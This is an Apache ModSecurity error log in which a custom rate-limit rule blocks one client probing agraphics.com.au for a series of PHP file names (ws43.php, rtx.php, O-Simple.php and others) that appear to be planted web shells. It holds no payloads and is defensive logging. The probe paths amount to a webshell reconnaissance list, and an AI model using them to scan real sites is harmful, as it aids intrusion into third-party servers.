[Mon Jan 19 21:53:08.992891 2026] [:error] [pid 36216:tid 36240] [client 132.196.60.193:18308] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws43.php"] [unique_id "aW43RMIpfKKs9fzB-yCyiwAAAVY"]
[Mon Jan 19 21:53:09.410909 2026] [:error] [pid 36216:tid 36230] [client 132.196.60.193:20446] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "aW43RcIpfKKs9fzB-yCykQAAAUw"]
[Mon Jan 19 21:53:10.322151 2026] [:error] [pid 45561:tid 45584] [client 132.196.60.193:18035] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "aW43Rq4ONSZn4nkTayJygwAAABI"]
[Mon Jan 19 21:53:10.769076 2026] [:error] [pid 45562:tid 45594] [client 132.196.60.193:18418] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "aW43RjoUil_kwpvtDW7qRQAAAEA"]
[Mon Jan 19 21:53:11.183192 2026] [:error] [pid 47089:tid 47093] [client 132.196.60.193:18428] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws36.php"] [unique_id "aW43RxlIzijVNfdIsZ4IpwAAAQI"]
[Mon Jan 19 21:53:11.705105 2026] [:error] [pid 45657:tid 45675] [client 132.196.60.193:20400] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws34.php"] [unique_id "aW43Rw4XFYp2OcwCx-CbtgAAANA"]
[Mon Jan 19 21:53:13.021708 2026] [:error] [pid 45657:tid 45673] [client 132.196.60.193:20399] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws34.php"] [unique_id "aW43SQ4XFYp2OcwCx-CbuQAAAM4"]
[Mon Jan 19 21:53:13.601321 2026] [:error] [pid 45563:tid 45634] [client 132.196.60.193:18405] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws34.php"] [unique_id "aW43SZI4--OKA-Pqumy8ZgAAAI0"]
[Mon Jan 19 21:53:14.073434 2026] [:error] [pid 45563:tid 45630] [client 132.196.60.193:18009] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws34.php"] [unique_id "aW43SpI4--OKA-Pqumy8aQAAAIk"]
[Mon Jan 19 21:53:14.450108 2026] [:error] [pid 45563:tid 45627] [client 132.196.60.193:20411] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aW43SpI4--OKA-Pqumy8bAAAAIY"]
[Mon Jan 19 21:53:14.843691 2026] [:error] [pid 45657:tid 45681] [client 132.196.60.193:20356] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aW43Sg4XFYp2OcwCx-CbvAAAANY"]
[Mon Jan 19 21:53:15.253315 2026] [:error] [pid 45657:tid 45662] [client 132.196.60.193:18420] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aW43Sw4XFYp2OcwCx-CbvQAAAMM"]
[Mon Jan 19 21:53:15.701196 2026] [:error] [pid 36216:tid 36230] [client 132.196.60.193:18398] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aW43S8IpfKKs9fzB-yCymwAAAUw"]
[Mon Jan 19 21:53:16.107999 2026] [:error] [pid 45657:tid 45659] [client 132.196.60.193:18397] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW43TA4XFYp2OcwCx-CbvwAAAMA"]
[Mon Jan 19 21:53:16.523878 2026] [:error] [pid 45563:tid 45642] [client 132.196.60.193:18322] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW43TJI4--OKA-Pqumy8bgAAAJU"]
[Mon Jan 19 21:53:16.911796 2026] [:error] [pid 45562:tid 45612] [client 132.196.60.193:18031] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW43TDoUil_kwpvtDW7qRwAAAFI"]
[Mon Jan 19 21:53:17.291375 2026] [:error] [pid 45563:tid 45638] [client 132.196.60.193:18037] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aW43TZI4--OKA-Pqumy8bwAAAJE"]
[Mon Jan 19 21:53:17.711124 2026] [:error] [pid 47089:tid 47114] [client 132.196.60.193:18426] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aW43TRlIzijVNfdIsZ4IqwAAARc"]
[Mon Jan 19 21:53:18.112033 2026] [:error] [pid 45562:tid 45595] [client 132.196.60.193:18046] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aW43TjoUil_kwpvtDW7qSAAAAEE"]
[Mon Jan 19 21:53:18.510471 2026] [:error] [pid 47089:tid 47106] [client 132.196.60.193:18030] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aW43ThlIzijVNfdIsZ4IrQAAAQ8"]
[Mon Jan 19 21:53:18.910517 2026] [:error] [pid 47089:tid 47111] [client 132.196.60.193:18032] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aW43ThlIzijVNfdIsZ4IrgAAARQ"]
[Mon Jan 19 21:53:19.297839 2026] [:error] [pid 36216:tid 36229] [client 132.196.60.193:18039] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aW43T8IpfKKs9fzB-yCynwAAAUs"]
[Mon Jan 19 21:53:19.701762 2026] [:error] [pid 36216:tid 36234] [client 132.196.60.193:18304] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aW43T8IpfKKs9fzB-yCyogAAAVA"]
[Mon Jan 19 21:53:20.087474 2026] [:error] [pid 36216:tid 36232] [client 132.196.60.193:18393] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aW43UMIpfKKs9fzB-yCyowAAAU4"]
[Mon Jan 19 21:53:20.460932 2026] [:error] [pid 45657:tid 45665] [client 132.196.60.193:18020] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aW43UA4XFYp2OcwCx-CbxAAAAMY"]
[Mon Jan 19 21:53:20.877371 2026] [:error] [pid 45562:tid 45617] [client 132.196.60.193:18431] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aW43UDoUil_kwpvtDW7qSwAAAFc"]
[Mon Jan 19 21:53:21.284726 2026] [:error] [pid 47089:tid 47100] [client 132.196.60.193:18321] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aW43URlIzijVNfdIsZ4IrwAAAQk"]
[Mon Jan 19 21:53:21.679874 2026] [:error] [pid 45562:tid 45598] [client 132.196.60.193:18401] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aW43UToUil_kwpvtDW7qTAAAAEQ"]
[Mon Jan 19 21:53:22.079869 2026] [:error] [pid 36216:tid 36228] [client 132.196.60.193:17998] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aW43UsIpfKKs9fzB-yCypgAAAUo"]
[Mon Jan 19 21:53:22.460282 2026] [:error] [pid 47089:tid 47113] [client 132.196.60.193:18348] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aW43UhlIzijVNfdIsZ4IsQAAARY"]
[Mon Jan 19 21:53:22.837149 2026] [:error] [pid 45657:tid 45664] [client 132.196.60.193:18423] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aW43Ug4XFYp2OcwCx-CbxgAAAMU"]
[Mon Jan 19 21:53:23.211660 2026] [:error] [pid 45561:tid 45585] [client 132.196.60.193:18424] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aW43U64ONSZn4nkTayJyigAAABM"]
[Mon Jan 19 21:53:23.592252 2026] [:error] [pid 45657:tid 45663] [client 132.196.60.193:17993] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aW43Uw4XFYp2OcwCx-CbxwAAAMQ"]
[Mon Jan 19 21:53:24.013601 2026] [:error] [pid 47089:tid 47098] [client 132.196.60.193:18334] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aW43VBlIzijVNfdIsZ4IsgAAAQc"]
[Mon Jan 19 21:53:24.393345 2026] [:error] [pid 45657:tid 45678] [client 132.196.60.193:20474] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aW43VA4XFYp2OcwCx-CbyAAAANM"]
[Mon Jan 19 21:53:24.779615 2026] [:error] [pid 45657:tid 45675] [client 132.196.60.193:20352] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aW43VA4XFYp2OcwCx-CbyQAAANA"]
[Mon Jan 19 21:53:25.168689 2026] [:error] [pid 45562:tid 45616] [client 132.196.60.193:18425] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pn.php"] [unique_id "aW43VToUil_kwpvtDW7qUgAAAFY"]
[Mon Jan 19 21:53:25.609048 2026] [:error] [pid 47089:tid 47094] [client 132.196.60.193:20450] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/O-Simple.php"] [unique_id "aW43VRlIzijVNfdIsZ4IswAAAQM"]
[Mon Jan 19 21:53:26.049302 2026] [:error] [pid 45657:tid 45673] [client 132.196.60.193:18022] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/O-Simple.php"] [unique_id "aW43Vg4XFYp2OcwCx-CbywAAAM4"]
[Mon Jan 19 21:53:26.449469 2026] [:error] [pid 45561:tid 45578] [client 132.196.60.193:17990] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/O-Simple.php"] [unique_id "aW43Vq4ONSZn4nkTayJyjQAAAAw"]
[Mon Jan 19 21:53:26.860828 2026] [:error] [pid 45561:tid 45581] [client 132.196.60.193:18266] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/O-Simple.php"] [unique_id "aW43Vq4ONSZn4nkTayJyjwAAAA8"]
[Mon Jan 19 21:53:27.242376 2026] [:error] [pid 45561:tid 45580] [client 132.196.60.193:18403] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/smklh.php"] [unique_id "aW43V64ONSZn4nkTayJykgAAAA4"]
[Mon Jan 19 21:53:27.652525 2026] [:error] [pid 45657:tid 45662] [client 132.196.60.193:18042] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/smklh.php"] [unique_id "aW43Vw4XFYp2OcwCx-CbzgAAAMM"]
[Mon Jan 19 21:53:28.121217 2026] [:error] [pid 36216:tid 36231] [client 132.196.60.193:18245] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/smklh.php"] [unique_id "aW43WMIpfKKs9fzB-yCyrgAAAU0"]
[Mon Jan 19 21:53:28.505883 2026] [:error] [pid 45561:tid 45575] [client 132.196.60.193:18419] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/smklh.php"] [unique_id "aW43WK4ONSZn4nkTayJylwAAAAk"]
[Mon Jan 19 21:53:28.997012 2026] [:error] [pid 45562:tid 45607] [client 132.196.60.193:18311] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aW43WDoUil_kwpvtDW7qVQAAAE0"]
[Mon Jan 19 21:53:29.412956 2026] [:error] [pid 45657:tid 45659] [client 132.196.60.193:17995] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aW43WQ4XFYp2OcwCx-Cb0AAAAMA"]
[Mon Jan 19 21:53:29.844353 2026] [:error] [pid 45657:tid 45683] [client 132.196.60.193:18400] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aW43WQ4XFYp2OcwCx-Cb0gAAANg"]
[Mon Jan 19 21:53:30.329705 2026] [:error] [pid 45563:tid 45644] [client 132.196.60.193:20441] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aW43WpI4--OKA-Pqumy8gQAAAJc"]
[Mon Jan 19 21:53:30.765873 2026] [:error] [pid 45657:tid 45682] [client 132.196.60.193:18307] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/horeg.php"] [unique_id "aW43Wg4XFYp2OcwCx-Cb1AAAANc"]
[Mon Jan 19 21:53:31.277067 2026] [:error] [pid 36216:tid 36236] [client 132.196.60.193:18415] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/horeg.php"] [unique_id "aW43W8IpfKKs9fzB-yCysQAAAVI"]
[Mon Jan 19 21:53:31.695615 2026] [:error] [pid 45563:tid 45623] [client 132.196.60.193:18346] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/horeg.php"] [unique_id "aW43W5I4--OKA-Pqumy8hQAAAII"]
[Mon Jan 19 21:53:32.194719 2026] [:error] [pid 36216:tid 36225] [client 132.196.60.193:20398] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/horeg.php"] [unique_id "aW43XMIpfKKs9fzB-yCysgAAAUc"]
[Mon Jan 19 21:53:32.657887 2026] [:error] [pid 45562:tid 45599] [client 132.196.60.193:18356] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "aW43XDoUil_kwpvtDW7qVwAAAEU"]
[Mon Jan 19 21:53:33.188416 2026] [:error] [pid 47089:tid 47093] [client 132.196.60.193:18385] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "aW43XRlIzijVNfdIsZ4IugAAAQI"]
[Mon Jan 19 21:53:33.653799 2026] [:error] [pid 45657:tid 45663] [client 132.196.60.193:18183] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "aW43XQ4XFYp2OcwCx-Cb2QAAAMQ"]
[Mon Jan 19 21:53:34.073282 2026] [:error] [pid 36216:tid 36239] [client 132.196.60.193:18350] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/to.php"] [unique_id "aW43XsIpfKKs9fzB-yCytwAAAVU"]
